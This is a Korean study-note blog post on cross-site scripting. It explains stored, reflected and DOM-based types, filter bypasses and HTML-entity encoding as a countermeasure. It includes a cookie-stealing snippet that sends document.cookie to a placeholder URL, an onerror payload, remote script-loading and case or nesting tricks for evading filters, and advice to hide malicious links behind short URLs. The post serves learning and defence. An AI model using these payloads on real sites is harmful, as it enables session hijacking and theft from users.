XSS(Cross Site Scripting)
정의
클라이언트 측 코드를 삽입하는 공격으로 피해자의 컴퓨터(웹 브라우저)에서 실행된다.
XSS시나리오 예시
서버 탈취용 서버에 데이터를 포함한 요청을 보내는 방식으로 사용 가능.
//예시
var cookie = document.cookie;
var img = new Image();
img.src = "URL?cookie=" + cookie;
만약 script태그를 사용 못할경우 Event Hendler를 통해 같은 역할이 가능
//예시
<img src=x onerror="var+cookie=document.cookie">
1) Stord XSS
: 서버에 저장하는 방법
댓글이난 게시글과 같이 작성자가 입력한 값을 저장하는 곳에서 발생 가능.
장점 : 그 사이트에 접근하는 모두에게 공격이 가능
단점 : 특정 사용자를 목표로 하기 쉽지 않음, 저장을 하기 때문에 기록이 남음
2) Reflected XSS
: 서버에 스크립트를 저장하지 않는 방식으로 URL을 통해 주로 실행
보낸 데이터를 서버가 받아 다시 출력하는 곳에서 사용이 가능
Burp Swip의 Repeater와 같은 곳에서 내가 삽입한 데이터가 반영되엇는지 검색등으로 확인하여 가능여부를 판단하는것이 좋음.
일반적으로 URL을 통해 실행되나 링크가 길어지거나 수상하게 보이므로 Short URL이나 이미지/문자에 링크하는 형식으로 공격
-->>URL을 통한 공격 == GET전송이 필요함
Burp Swip에서 change request method를 통해서 GET으로 내용을 보내지는지 확인해봐야 한다.
3) DOM Based XSS
: DOM 객체를 제어하는 과정에서 발생하는 취약점에 DOM요소를 삽입하는 공격. 악성 스크립드가 URL Fragment에 삽입된다.
DOM요소는 HTML, XML, XHTML 문서의 요소를 나타내는 프로그래밍 인터페이스이다. p, div, img, a등이 이에 포함된다. 웹 페이지의 구조와 콘텐츠를 조작/접근하기 위해 사용된다. ID나 클레스를 통해 선택되거나 탐색 메소드를 통해 찾을 수 있다. JS에서 get ElemetnById()함수를 사용해 특정 ID를 가진 요소에 접근할 수 있다.
script코드는 p와 같은 특정 코드들 안에서는 실행이 되지 않는다. 따라서 </p>를 통해 태그를 닫고 새로 script태그를 넣어 사용하여야 한다. 다만 이벤트 핸들러를 사용 할 경우 p 태그 내에서 JS코드를 실행 가능하다.
Anti XSS Bypass
1) Client Side 검증 우회
클라이언트측에서 검증을 하는것은 프록시툴과 같이 코드를 변경하기만 하면 우회가 가능하다.
2) Script Load
",',alert, function과 같은 특정 단어를 필터링할 경우 스크립트 로드를 통해 우회가 가능하다.
공격용 서버에 Script를 저장하고 나서 이 서버의 스크립트를 Load하여 실행시킨다.
이는 글자 수 제한같은 곳에서도 사용이 가능하다.
3) 대소문자 혼용
특정단어를 필터링할 경우 대소문자를 혼용할 경우 우회가 될 수 있다.
4) 필터링 문자 반복
<scriscriptpt>와 같은경우 script가 필터링되어 사라지게 되어 <script>가 남아 코드가 실행 될 수 있다.
5)Event Hendler
이벤트핸들러를 통해 script태그 없이 JS코드를 실행 가능하다.
XSS 대응방안
특수문자를 HTML Entity로 변경한다.
예약어이므로 글자나 특수문자가 특정 문자로 변환이 되지만 이 문자는 화면에 출력될떄 원래의 문자로 보이게 된다.
**그렇다면 XSS가 발생하는 원인은 뭘까?
모든 요소에 필터링을 적용하기가 힘들다.
아니면 이러한 필터링에서 꺽쇠와 같은 특정 문자만을 필터링하는경우가 있다. 이런경우 원래의 태그를 활용할수 있다.
이벤트 핸들러를 통한 우회때문에 코드가 실행될 수도 있다.
POC 코드
: 증명용 코드, 주로 alert()을 사용.
'모의해킹 및 보안' 카테고리의 다른 글
CSRF attack scenario (0) | 2023.05.28 |
---|---|
CSRF_1 (0) | 2023.05.22 |
CSRF_요청을 보내지만 페이지 유지하는방법. (0) | 2023.05.19 |
Keylogger_JS (0) | 2023.05.17 |
XSS 보안대책 (0) | 2023.05.11 |